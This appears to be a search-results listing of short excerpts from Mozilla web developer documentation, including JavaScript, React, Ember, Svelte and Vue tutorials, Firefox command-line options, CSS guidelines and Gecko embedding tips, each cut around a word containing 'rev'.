...mo, to show you how useful objects can be in javascript. our little balls will bounce around on the screen, and change color when they touch each other. the finished example will look a little something like this: this example will make use of the canvas api for drawing the balls to the screen, and the requestanimationframe api for animating the whole display — you don't need to have any p
revious knowledge of these apis, and we hope that by the time you've finished this article you'll be interested in exploring them more. along the way we'll make use of some nifty objects, and show you a couple of nice techniques like bouncing balls off walls, and checking whether they have hit each other (otherwise known as collision detection). getting started to begin with, make local copies of o...
...velx = -(this.velx); } if ((this.x - this.size) <= 0) { this.velx = -(this.velx); } if ((this.y + this.size) >= height) { this.vely = -(this.vely); } if ((this.y - this.size) <= 0) { this.vely = -(this.vely); } this.x += this.velx; this.y += this.vely; } the first four parts of the function check whether the ball has reached the edge of the canvas. if it has, we
reverse the polarity of the relevant velocity to make the ball travel in the opposite direction. so for example, if the ball was traveling upwards (positive vely), then the vertical velocity is changed so that it starts to travel downwards instead (negative vely). in the four cases, we are checking to see: if the x coordinate is greater than the width of the canvas (the ball is going off the righ...
... animation; this is the basis for most games and other such programs. our loop() function does the following: sets the canvas fill color to semi-transparent black, then draws a rectangle of the color across the whole width and height of the canvas, using fillrect() (the four parameters provide a start coordinate, and a width and height for the rectangle drawn). this serves to cover up the p
revious frame's drawing before the next one is drawn. if you don't do this, you'll just see long snakes worming their way around the canvas instead of balls moving! the color of the fill is set to semi-transparent, rgba(0,0,0,0.25), to allow the p
revious few frames to shine through slightly, producing the little trails behind the balls as they move. if you changed 0.25 to 1, you won't see them at all...
Object prototypes - Learn web development
in this article, we explain how prototype chains work and look at how the prototype property can be used to add methods to existing constructors. note: this article covers traditional javascript constructors and classes. in the next article, we talk about the modern way of doing things, which provides easier syntax to achieve the same things — see ecmascript 2015 classes. prerequisites: understanding javascript functions, familiarity with javascript basics (see first steps and building blocks), and oojs basics (see introduction to objects). ...
...ect.prototype. they are methods/properties available just on the object() constructor itself. note: this seems strange — how can you have a method defined on a constructor, which is itself a function? well, a function is also a type of object. see the function() constructor reference if you don't believe us. you can check out existing prototype properties for yourself — go back to our p
revious example and try entering the following into the javascript console: person.prototype the output won't show you very much because we haven't defined anything on our custom constructor's prototype! by default, a constructor's prototype always starts empty. now try the following: object.prototype you'll see a large number of methods defined on object's prototype property, which are th...
...u first meet them. important: the prototype property is one of the most confusingly-named parts of javascript — you might think that this points to the prototype object of the current object, but it doesn't (that's an internal object that can be accessed by __proto__, remember?). prototype instead is a property containing an object on which you define members that you want to be inherited.
revisiting create() earlier on we showed how the object.create() method can be used to create a new object instance. for example, try this in your p
revious example's javascript console: let person2 = object.create(person1); what create() actually does is to create a new object from a specified prototype object. here, person2 is being created using person1 as a prototype object. you can check...
...ry them. summary this article has covered javascript object prototypes, including how prototype object chains allow objects to inherit features from one another, the prototype property and how it can be used to add methods to constructors, and other related topics. ...
Client-Server Overview - Learn web development
as most website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code. prerequisites: basic computer literacy. a basic understanding of what a web server is. objective: to understand client-server interactions in a dynamic website, and in particular what operations need to be performed by server-side code. ...
... the browser not to allow this page to be embedded in an <iframe> in another site). post request/response example an http post is made when you submit a form containing information to be saved on the server. the request the text below shows the http request made when a user submits new profile details on this site. the format of the request is almost the same as the get request example shown p
reviously, though the first line identifies this request as a post. post https://developer.mozilla.org/profiles/hamishwillee/edit http/1.1 host: developer.mozilla.org connection: keep-alive content-length: 432 pragma: no-cache cache-control: no-cache origin: https://developer.mozilla.org upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like ge...
...players are "best", and possibly also getting the identity of the logged in coach from a client-side cookie). the web application dynamically creates an html page by putting the data (from the database) into placeholders inside an html template. the web application returns the generated html to the web browser (via the web server), along with an http status code of 200 ("success"). if anything p
revents the html from being returned then the web application will return another code — for example "404" to indicate that the team does not exist. the web browser will then start to process the returned html, sending separate requests to get any other css or javascript files that it references (see step 7). the web server loads static files from the file system and returns them to the browser d...
... of other tasks. we discuss a lot more benefits and some popular web framework choices in the next article. ...
Server-side web frameworks - Learn web development
with this knowledge under our belt, it's time to explore how web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side web application. prerequisites: basic computer literacy. basic understanding of how server-side code handles and responds to http requests (see client-server overview). ...
...vides support for expressions (with syntax: {% expression %}), which allow templates to perform simple operations like iterating list values passed into the template. note: many other templating systems use a similar syntax, e.g.: jinja2 (python), handlebars (javascript), moustache (javascript), etc. the code snippet below shows how this works. continuing the "youngest team" example from the p
revious section, the html template is passed a list variable called youngest_teams by the view. inside the html skeleton we have an expression that first checks if the youngest_teams variable exists, and then iterates it in a for loop. on each iteration the template displays the team's team_name value in a list item. #best/templates/best/index.html <!doctype html> <html lang="en"> <body> {% if yo...
...umber of requests it is receiving as users access it. at this point you may consider adding support for caching. caching is an optimisation where you store all or part of a web response so that it does not have to be recalculated on subsequent requests. returning a cached response is much faster than calculating one in the first place. caching can be implemented in your code or in the server (see
reverse proxy). web frameworks will have different levels of support for defining what content can be cached. scalability: once your website is fantastically successful you will exhaust the benefits of caching and even reach the limits of vertical scaling (running your web application on more powerful hardware). at this point you may need to scale horizontally (share the load by distributing your si...
... framework. you should now have at least an idea of how to choose a web framework for your own server-side development. ...
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). we'll also wire up our "clear completed" button. along the way, we'll learn about using conditional rendering in our templates. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
... are doing this inside the service, where the incomplete() getter is available directly (in the template, the contents of the service has been made available as todos via the @service('todo-data') todos; line inside the footer class, hence it being this.todos.incomplete.length there). ...
...nts/todo.js file and update the contents to look like so, to give the todo component access to the service: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class todocomponent extends component { @service('todo-data') todos; } next, go back again to our todo-data.js service file and add the following action just below the p
revious ones, which will allow us to toggle a completion state for each todo: @action togglecompletion(todo) { todo.iscompleted = !todo.iscompleted; } updating the template to show completed state finally, we will edit the todo.hbs template such that the checkbox's value is now bound to the iscompleted property on the todo, and so that on change, the togglecompletion() method on the todo ...
... final version of the app), it makes sense to have all persistent-state-changing operations be in the same place. summary that's enough for now. at this point, not only can we mark todos as complete, but we can clear them as well. now the only thing left to wire up the footer are the three filtering links: "all", "active", and "completed". we'll do that in the next article, using routing. ...
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. ...
...empty class: import service from '@ember/service'; export default class tododataservice extends service { } first of all, we want to define what a todo is. we know that we want to track both the text of a todo, and whether or not it is is completed. add the following import statement below the existing one: import { tracked } from '@glimmer/tracking'; now add the following class below the p
revious line you added: class todo { @tracked text = ''; @tracked iscompleted = false; constructor(text) { this.text = text; } } this class represents a todo — it contains a @tracked text property containing the text of the todo, and a @tracked iscompleted property that specifies whether the todo has been completed or not. when instantiated, a todo object will have an initial text va...
...), and an iscompleted value of false. the only ember-specific part of this class is the @tracked decorator — this hooks in to the reactivity system and allows ember to update what you're seeing in your app automatically if the tracked properties change. more information on tracked can be found here. now it's time to add to the body of the service. ...
... in the ui: summary ok, so that's great progress for now. we can now add todo items to our app, and the state of the data is tracked using our service. next we'll move on to getting our footer functionality working, including the todo counter, and look at conditional rendering, including correctly styling todos when they've been checked. we'll also wire up our "clear completed" button. ...
Getting started with React - Learn web development
we'll discover a little bit of detail about its background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. react uses an html-in-javascript syntax called jsx (javascript and xml). familiarity with both html and javascript will help you to learn jsx, and better identify whether bugs in your application are related to javascript or to the more specific domain of react. ...
...h1>; this heading constant is known as a jsx expression. react can use it to render that <h1> tag in our app. suppose we wanted to wrap our heading in a <header> tag, for semantic reasons? the jsx approach allows us to nest our elements within each other, just like we do with html: const header = ( <header> <h1>mozilla developer network</h1> </header> ); note: the parentheses in the p
revious snippet aren't unique to jsx, and don’t have any effect on your application. they're a signal to you (and your computer) that the multiple lines of code inside are part of the same expression. you could just as well write the header expression like this: const header = <header> <h1>mozilla developer network</h1> </header> however, this looks kind of awkward, because the <header> tag t...
...re written inside component calls, and use the same syntax as html attributes — prop="value". let’s open index.js and give our <app/> call its first prop. add a prop of subject to the <app/> component call, with a value of clarice. when you are done, your code should look something like this: reactdom.render(<app subject="clarice" />, document.getelementbyid('root')); back in app.js, let's
revisit the app function itself, which reads like this (with the return statement shortened for b
revity): function app() { const subject = "react"; return ( // return statement ); } change the signature of the app function so that it accepts props as a parameter, and delete the subject const. just like any other function parameter, you can put props in a console.log() to print it to your ...
...u can read jsx variables by putting them between curly braces, like {so}. some jsx attributes are different than html attributes so that they don't conflict with javascript reserved words. for example, class in html translates to classname in jsx. note that multi-word attributes are camel-cased. props are written just like attributes inside component calls and are passed into components. ...
React interactivity: Editing, filtering, conditional rendering - Learn web development
this includes allowing you to edit existing tasks, and filtering the list of tasks between all, completed, and incomplete tasks. we'll look at conditional ui rendering along the way. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about conditional rendering in react, and implementing list filtering and an editing ui in our app. editing the name of a task we don’t have a user interface for editing the name of a task yet. ...
...e'll update our editingtemplate's <input /> field, setting a value attribute of newname, and binding our handlechange() function to its onchange event. update it as follows: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} /> finally, we need to create a function to handle the edit form’s onsubmit event; add the following just below the p
revious function you added: function handlesubmit(e) { e.p
reventdefault(); props.edittask(props.id, newname); setnewname(""); setediting(false); } remember that our edittask() callback prop needs the id of the task we're editing as well as its new name. bind this function to the form’s submit event by adding the following onsubmit handler to the editingtemplate's <form>: <form classname...
..._map = { all: () => true, active: task => !task.completed, completed: task => task.completed }; the values of filter_map are functions that we will use to filter the tasks data array: the all filter shows all tasks, so we return true for all tasks. the active filter shows tasks whose completed prop is false. the completed filter shows tasks whose completed prop is true. beneath our p
revious addition, add the following — here we are using the object.keys() method to collect an array of filter_names: const filter_names = object.keys(filter_map); note: we are defining these constants outside our app() function because if they were defined inside it, they would be recalculated every time the <app /> component re-renders, and we don’t want that. this information will never cha...
... — our app is now functionally complete. however, now that we’ve implemented all of our features, we can make a few improvements to ensure that a wider range of users can use our app. our next article rounds things off for our react tutorials by looking at including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users. ...
Dynamic behavior in Svelte: working with variables and props - Learn web development
in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. ...
...do.svelte: function addtodo() { todos.push({ id: 999, name: newtodoname, completed: false }) newtodoname = '' } note: for the moment we are just assigning the same id to every todo, but don't worry, we will fix that soon. now we want to update our html so that we call addtodo() whenever the form is submitted. update the newtodo form's opening tag like so: <form on:submit|p
reventdefault={addtodo}> the on:eventname directive supports adding modifiers to the dom event with the | character. in this case, the p
reventdefault modifier tells svelte to generate the code to call event.p
reventdefault() before running the handler. explore the p
revious link to see what other modifiers are available. if you try adding new todos at this point, the new todos are added to the...
...the addtodo() function would solve the problem, but it seems strange to have to include that at the end of the function. instead, we'll take out the push() method and use spread syntax to achieve the same result — we'll assign a value to the todos array equal to the todos array plus the new object. note: array has several mutable operations — push(), pop(), splice(), shift(), unshift(),
reverse(), and sort(). using them often causes side effects and bugs that are hard to track. by using the spread syntax instead of push() we avoid mutating the array, which is considered a good practice. update your addtodo() function like so: function addtodo() { todos = [...todos, { id: 999, name: newtodoname, completed: false }] newtodoname = '' } giving each todo a unique id if ...
... to dom events. declaring reactive statements. basic debugging with console.log() and reactive statements. binding html properties with the bind:property directive. triggering reactivity with assignments. using reactive expressions to filter data explicitly defining our reactive dependencies in the next article we will add further functionality, which will allow users to edit todos. ...
Using Vue computed properties - Learn web development
these work similarly to methods, but only re-run when one of their dependencies changes. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...se a serious performance problem. a better solution is to use vue’s computed properties. computed properties work similarly to methods, but only re-run when one of their dependencies changes. in our case, this would only re-run when the todoitems array changes. to create a computed property, we need to add a computed property to our component object, much like the methods property we've used p
reviously. adding a summary counter add the following code to your app component object, below the methods property. the list summary method will get the number of finished todoitems, and return a string reporting this. computed: { listsummary() { const numberfinisheditems = this.todoitems.filter(item =>item.done).length return `${numberfinisheditems} out of ${this.todoitems.length} item...
...currently, we're not actually tracking the "done" data in any fashion, so the number of completed items does not change. tracking changes to "done" we can use events to capture the checkbox update and manage our list accordingly. since we're not relying on a button press to trigger the change, we can attach a @change event handler to each checkbox instead of using v-model. update th...
...tus(item.id)"> </to-do-item> now if you check a todoitem, you should see the summary update appropriately! summary in this article we've used a computed property to add a nice little feature to our app. we do however have bigger fish to fry — in the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items. ...
Vue conditional rendering: editing existing todos - Learn web development
to do this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels. we'll also look at adding functionality to delete todo items. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. ...
...terminal with node + npm installed. objective: to learn how to do conditional rendering in vue. creating an editing component we can start by creating a separate component to handle the editing functionality. in your components directory, create a new file called todoitemeditform.vue. ...
...he new item label as an argument, emit an itemedited event to the parent component, and set isediting to false. add it now, below your existing methods: itemedited(newlabel) { this.$emit('item-edited', newlabel); this.isediting = false; } next, we'll need an editcancelled() method. this method will take no arguments and just serve to set isediting back to false. add this method below the p
revious one: editcancelled() { this.isediting = false; } last for this section, we'll add event handlers for the events emitted by the todoitemeditform component, and attach the appropriate methods to each event. update your <to-do-item-edit-form></to-do-item-edit-form> call to look like so: <to-do-item-edit-form v-else :id="id" :label="label" @item-edited="itemedited" ...
...h is then listened for inside todoitem.vue, see above). summary this article has been fairly intense, and we covered a lot here. we've now got edit and delete functionality in our app, which is fairly exciting. we are nearing the end of our vue series now. the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. ...
Getting started with Vue - Learn web development
in this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. ...
..." option. the first menu you’ll be presented with allows you to choose which features you want to include in your project. make sure that "babel" and "linter / formatter" are selected. if they are not, use the arrow keys and the space bar to toggle them on. once they are selected, press enter to proceed. next you’ll select a config for the linter / formatter. navigate to "eslint with error p
revention only" and hit enter again. this will help us catch common errors, but not be overly opinionated. next you are asked to configure what kind of automated linting we want. select "lint on save". this will check for errors when we save a file inside the project. hit enter to continue. now, you will select how we want your config files to be managed. "in dedicated config files" will put your c...
...more question — you'll be asked to choose a package manager. you can use the arrow keys to select which one you prefer. the vue cli will default to this package manager from now on. if you need to use a different package manager after this, you can pass in a flag --packagemanager=<package-manager>, when you run vue create. so if you wanted to create the moz-todo-vue project with npm and you'd p
reviously chosen yarn, you’d run vue create moz-todo-vue --packagemanager=npm. note: we've not gone over all of the options here, but you can find more information on the cli in the vue docs. project structure if everything went successfully, the cli should have created a series of files and directories for your project. the most significant ones are as follows: .eslintrc.js: this is a conf...
...sic introduction out of the way, we'll now go further and build up our sample app, a basic todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos. in the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state. ...
Rendering a list of Vue components - Learn web development
in this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. ...
...eds a unique "key" on the same element that you attach v-for to. to make sure that vue can accurately compare the key attributes, they need to be string or numeric values. while it would be great to use the name field, this field will eventually be controlled by user input, which means we can't guarantee that the names would be unique. we could use lodash.uniqueid(), however, like we did in the p
revious article. import lodash.uniqueid into your app component in the same way you did with your todoitem component, using import uniqueid from 'lodash.uniqueid'; next, add an id field to each element in your todoitems array, and assign each of them a value of uniqueid('todo-'). your app.vue <script> element contents should now look like this: import todoitem from './components...
...tle bit of refactoring we can do here. instead of generating the id for the checkboxes inside your todoitem component, we can turn the id into a prop. while this isn't strictly necessary, it makes it easier for us to manage since we already need to create a unique id for each todo item anyway. add a new prop to your todoitem component — id. make it required, and make its type a string. to p
revent name collisions, remove the id field from your data attribute. you are no longer using uniqueid, so you need to remove the import uniqueid from 'lodash.uniqueid'; line, otherwise your app will throw an error. the <script> contents in your todoitem component should now look something like this: export default { props: { label: {required: true, type: string}, done: {defau...
...ch bit of data and renders it inside a todoitem in our app. what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. we'll get to these in the next article. ...
Styling Vue components with CSS - Learn web development
in this article we'll explore the different ways of styling vue components with css. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about styling vue components. ...
...ic section of our page, it could benefit from an <h2> element. the label, however, already denotes the purpose of the form. to avoid repeating ourselves, let's wrap our label in an <h2>. there are a few other global css styles which we can add as well. we'll also add the input__lg class to our <input> element. ...
...le is our todoitem component. to keep the style definitions close to the component we can add a <style> element inside it. however, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fix the problem. this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, p
reventing them from colliding globally. to use the scoped modifier, create a <style> element inside todoitem.vue, at the bottom of the file, and give it a scoped attribute: <style scoped> </style> next, copy the following css into the newly created <style> element: .custom-checkbox > .checkbox-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothi...
...<label> add a checkbox-label class. the updated template is below: the app should now have custom checkboxes. your app should look something like the screenshot below. summary our work is done on the styling of our sample app. in the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app. ...
Mozilla accessibility architecture
t on the screen. no matter how the assistive technology client requests the data, the accessible for a given node is only created once. we use the accessibility cache to retrieve accessibles that have already been created for a given dom node. this tree traversal is accomplished via toolkit-specific calls which end up as calls into nsiaccessible methods getaccparent(), getaccnextsibling(), getaccp
revioussibling(), getaccfirstchild(), getacclastchild(), getaccchildcount() and getchildat(childnum). the atk has more convenience methods than msaa does for traversal - for example it is possible to go straight to the accessible for a specific row and column of a table, using nsiaccessibletable::cellrefat(). the algorithm used to calculate the number of accessible children for an accessible node is ...
... normal nsaccessibletreewalker traversal methods and create whatever child accessibles we want. when there is no dom node for each accessible, as is the case for nshtmlcomboboxaccessible and nsxultreeitemaccessible, we also need to override the shutdown() method, so that the children get removed from memory when the parent is shutdown. in that case we also override ::getaccnextsibling(), ::getaccp
revioussibling() for the dom-less children; otherwise they do not know how to find each other. it is also useful to override these the child getters to return nothing, as we do in nsleafaccessible, nstextaccessible and other accessible implementations where we want to be sure to avoid children. returning nothing for leaf and text objects also helps speed up tree construction and traversal. 4. accessi...
...h accessible. in this way no accessible object should ever need to be created twice for any dom node. why we need accessibility cache the accessibility cache has a number of purposes: stability: because the gecko dom and layout teams want to avoid memory bloat where necessary, we could not afford to use 4 bytes on dom or layout nodes to point back to accessible objects. therefore, ownership is
reversed -- accessible nodes own their dom objects. however, this creates instability when mozilla wants to shut down but an assistive technology client still holds onto accessibles. these crashes occur when the assistive techology releases after some gecko modules have already been unloaded, when the necessary destructors no longer exist in memory. performance: by caching the accessible node for e...
...k accessibles extremely quickly, and avoid recalculating and creating new accessibles every time one is requested for a certain dom node. we also avoid calculating the children of an accessible twice, once for getaccchildcount() and again when the specific children are requested. events: we must ensure that the accessible for an event is not released before the accessible client has a chance to
review its data. also, msaa clients need to access the event accessibles using the unique child id we give it. when we get the child id back, we can recreate the hash key needed to retrieve the accessible. finally, because the msaa client gets the same accessible for the event and for tree traversal each time, it can do comparisons with its own internal data model. for example, this allows the msaa c...
Command line options
page" . comma separators must not follow or precede spaces ( ). to assign multiple values to a field, enclose the values in single quotes ('), for example: "to='foo@nowhere.net,foo@foo.de',subject=cool page" . using command line options command line options follow the command to start the application. if the option contains arguments, enter the argument after the option. some options have abb
reviations, for example, "-editor" can be abb
reviated as "-edit" (available abb
reviations are described in the text below). in some cases, option arguments must be enclosed in quotation marks (this is noted in the option descriptions below). multiple command line options can be specified. in general, the syntax is as follows: application -option -option "argument" -option argument examples the fo...
...ly, you can enter: cd /applications/firefoxnightly.app/contents/macos ./firefox -profilemanager linux open terminal and enter the following command: cd thunderbird installation directory ./thunderbird -profilemanager the example above invokes the "-profilemanager" command line option with mozilla's thunderbird mail client. user profile -allow-downgrade firefox 67's downgrade protection p
revents accidentally starting firefox in a profile running a later version of firefox. depending on changes between the two versions, some files in a profile may not be downwards compatible. adding this option bypasses downgrade protection. -createprofile profile_name create a new profile in the default directory, but do not start the application. the profile will be named profile_name in the profi...
...e the -no-remote option to avoid connecting to a running instance. firefox -createprofile joeluser -createprofile "profile_name profile_dir" creates a new profile in the profile_dir directory, but do not start the application. the profile will be named profile_name in the profile manager. note profile_name and profile_dir are quoted together, and are separated by exactly 1 space (as with the p
revious syntax, profile_name must not contain spaces). do not run profile_dir while running an instance of the application. you can use the -no-remote option to avoid connecting to a running instance. firefox -createprofile "joeluser c:\internet\joelusers-moz-profile" note: profile_dir must not exist and you must not already have a profile called profile_name. -migration start with import wiz...
...ending tells the application that there will be a windows dde request to open the same url specified on the command line. this should not be specified unless the caller provides all of the functionality provided by the os shell when launching the application (bug 354005). -silent don't open default windows. useful with those command-line arguments that open their own windows but don't already p
revent default windows from opening. firefox, thunderbird3.x and seamonkey2.x only. -v or -version print application version. note that on windows this only works with a redirection such as |more (bug 355889). this option is available only in a command console. x11 options these options are only available for an application build for and running atop the x11/x.org display and window system to be ...
The Firefox codebase: CSS Guidelines
the overriding css section contains more information about this. avoid magic numbers; prefer automatic sizing or alignment methods. ...
...ins !important, if that is case, try putting it in question, because it might have become obsolete. afterwards, check the specificity of the other selector; if it is causing your rule to be overriden, you can try reducing its specificity, either by simplifying the selector or by changing where the rule is placed in the stylesheet. if this isn't possible, you can also try introducing a :not() to p
revent the other rule from applying, this is especially relevant for different element states (:hover, :active, [checked] or [disabled]). however, never try to increase the selector of the rule you are adding as it can easily become hard to understand. finally, once you have checked all the things above, you can permit yourself to use !important along with a comment why it is needed. using css vari...
... if the answer is no, consider using a preprocessor variable or simply inlining the value. is the variable value used multiple times? if the answer is no and the value isn't changed at runtime, then you likely don't need a css variable. is there an alternative to using the variable like inheriting or using the currentcolor keyword? using inheriting or using currentcolor will p
revent repetition of the value and it is usually good practice to do so. in general, it's good to first think of how some css could be written cleanly without the css variable(s) and then think of how the css variable could improve that css. using variables use the variable according to its naming do this: xul|tab:hover { background-color: var(--in-content-box-background-hover); } not this:...
...s important. if you are not using windows, one way to test against those adjustments on other platforms is: going to about:preferences clicking on the "colors..." button in the "fonts & colors" sub-section of the "language and appearance" section under "override the colors specified by the page with your selections above", select the "always" option chrome area the automatic adjustments p
reviously mentioned only apply to pages rendered in the content area. the chrome area of firefox uses colors as authored, which is why using pre-defined variables, currentcolor or inheritance is useful to integrate with the system theme with little hassle. if not, as a last resort, using system colors also works for non-default windows themes or linux. in general, the following colors are used: -...
Eclipse CDT Manual Setup
select "general > content types", expand "text > c source file > c++ source file", click "add" and add "*.mm". eclipse cdt doesn't currently understand objective-c files (although there is a project that promises to add objective-c support), so for now, this is the best we can do to give eclip...
...to the objective-c files. select "general > editors > text editors". if you want line numbers, tick "show line numbers". if you want a column marker to mark the 80th column to help with formatting code to mozilla's 80 character line limit, tick "show print margin" and set the value to 80. select "general > workspace" and select "refresh using native hooks or polling" and "refresh on access" to p
revent eclipse giving you annoying "resource is out of sync" messages when files change from under it due to mercurial or other external activity. select "c/c++ > build > console" and set "limit console output (number of lines)" to something large, like "1000000". eclipse cdt will try to format c/c++ code that you add as you type. however, its default formats are not a good match to mozilla's style...
...he clean checkbox. if you can't untick "use default build command", you must change the current builder by clicking on "tool chain editor" (in c/c++ build) and choosing another builder (e.g., "gnu make builder"). if you will not be using eclipse for debugging, select "c/c++ build > settings" on the left, select the "binary parsers" tab, and make sure that all the parsers are deselected. this p
revents the (useless if not debugging) "searching for binaries" action from constantly interrupting everything. if you will be using eclipse for debugging, select "c/c++ general > paths and symbols" and select the "output location" tab. you should now add the folder containing your firefox binary (note on mac this is inside the .app - so "{your-obj-dir}/dist/nightlydebug.app/contents/macos/" - and s...
...ed to type the end of the path in manually). how you add this depends on whether your object directory is inside or outside your source tree. if inside, use the "add folder" button; if outside, use the "link folder" button and tick the "link to folder in the file system" checkbox. once you've added this folder, delete the existing output folder that was set to the root of the project. doing this p
revents the "searching for binaries" which eclipse constantly starts from taking too long. select "c/c++ general > preprocessor include paths, macros, and so on." select the providers tab. make sure that "cdt gcc build output parser" is selected, and that "cdt managed build settings entries" is not selected. highlight (select) "cdt gcc build output parser", then in the "language settings provider op...
Embedding Tips
ssage processing loop after the call to saveuri that terminates when onstatechange indicates persistence has finished.. how do i print a page? query the web browser object for nsiwebbrowserprint. call the nsiwebbrowserprint::print() method supplying a print settings object (e.g. that returned from nsiwebbrowserprint::getglobalprintsettings) that you wish to print the page with. ...
.... how do i print a page? query the web browser object for nsiwebbrowserprint. call the nsiwebbrowserprint::print() method supplying a print settings object (e.g. that returned from nsiwebbrowserprint::getglobalprintsettings) that you wish to print the page with. how do i print p
review a page? query the web browser object for the nsiwebbrowserprint interface. call the nsiwebbrowserprint::printp
review() method supplying a print settings object (e.g. that returned from nsiwebbrowserprint::getglobalprintsettings()) that you wish to p
review the page with. the nsiwebbrowserprint::printp
reviewnavigate() method can be used to step through the pages. when finished with p
review mode, call nsiwebbrowserprint::exitprintp
review(). how do i get popup windows working? implement and register a nsiwin...
...tch->setwindowcreator(mywindowcreator); } i need the javascript inside the browser window to talk to my embedding client. how do i do it? at startup use the category manager to register properties of the global object in javascript like this: nscomptr<nsicategorymanager> catman = do_getservice(ns_categorymanager_contractid); if (!catman) return ns_error_failure; nsxpidlcstring p
revious; catman->addcategoryentry(javascript_global_property_category, "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(p
revious)); this will cause a component with the contract id my_prop_contract_id to be lazily created when the my_prop_name is resolved in any javascript window scope. if you want to create your component m...
...d when the my_prop_name is resolved in any javascript window scope. if you want to create your component multiple times within the browser window, you can use a javascript constructor instead of a javascript property: catman->addcategoryentry("javascript global constructor", "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(p
revious)); that way you will be able to do: var my_comp = new my_prop_name(); this was taken from weirdal's excellent "burning chrome" article. how do i specify alternate locations for profiles? specify a profile directory in your implementation of nsidirectoryserviceprovider passed to xre_initembedding. use xre_notifyprofile to make gecko actually use a profile location. how do i change the u...
DeferredTask.jsm
wn. void arm(); disarm cancel any request for a delayed execution of the task, though the task itself cannot be canceled in case it is already running. this method stops any currently running timer, thus the delay will restart from its original value in case the "arm" method is called again. void disarm(); finalize ensure that any pending task is executed from start to finish, while p
reventing any attempt to arm the timer again. if the task is running and the timer is armed, then one last execution from start to finish will happen again, immediately after the current execution terminates; then the returned promise will be resolved. if the task is running and the timer is not armed, the returned promise will be resolved when the current execution terminates. if the task is no...
...ed promise. promise finalize(); example firefox 28 note this section describes about deferredtask.jsm in firefox 28.0 or higher. set up a function or an asynchronous task whose execution can be triggered after a defined delay. multiple attempts to run the task before the delay has passed are coalesced. the task cannot be re-entered while running, but can be executed again after a p
revious run finished. a common use case occurs when a data structure should be saved into a file every time the data changes, using asynchronous calls, and multiple changes to the data may happen within a short time: let savedeferredtask = new deferredtask(function* () { yield os.file.writeatomic(...); // any uncaught exception will be reported. }, 2000); // the task is ready, but will not be ...
... will need to finish before the timer is started again, thus guaranteeing a time of inactivity between executions that is at least equal to the provided delay. the "finalize" method can be used to ensure that the task terminates properly. the promise it returns is resolved only after the last execution of the task is finished. to guarantee that the task is executed for the last time, the method p
revents any attempt to arm the timer again. if the timer is already armed when the "finalize" method is called, then the task is executed immediately. if the task was already running at this point, then one last execution from start to finish will happen again, immediately after the current execution terminates. if the timer is not armed, the "finalize" method only ensures that any running task term...
...s that any running task terminates. ...
Using JavaScript code modules
a javascript code module is simply some javascript code located in a registered location. the module is loaded into a specific javascript scope, such as xul script or javascript xpcom script, using components.utils.import() or components.utils["import"](). ...
... the url for a code module as you can see from the example above, you need a url to import a code module. (the url in the example is "resource://app/my_module.jsm".) code modules can only be loaded using a chrome: (), resource:, or file: url. if you're writing an extension for firefox 4 and already have a chrome.manifest with a content instruction in it, yo...
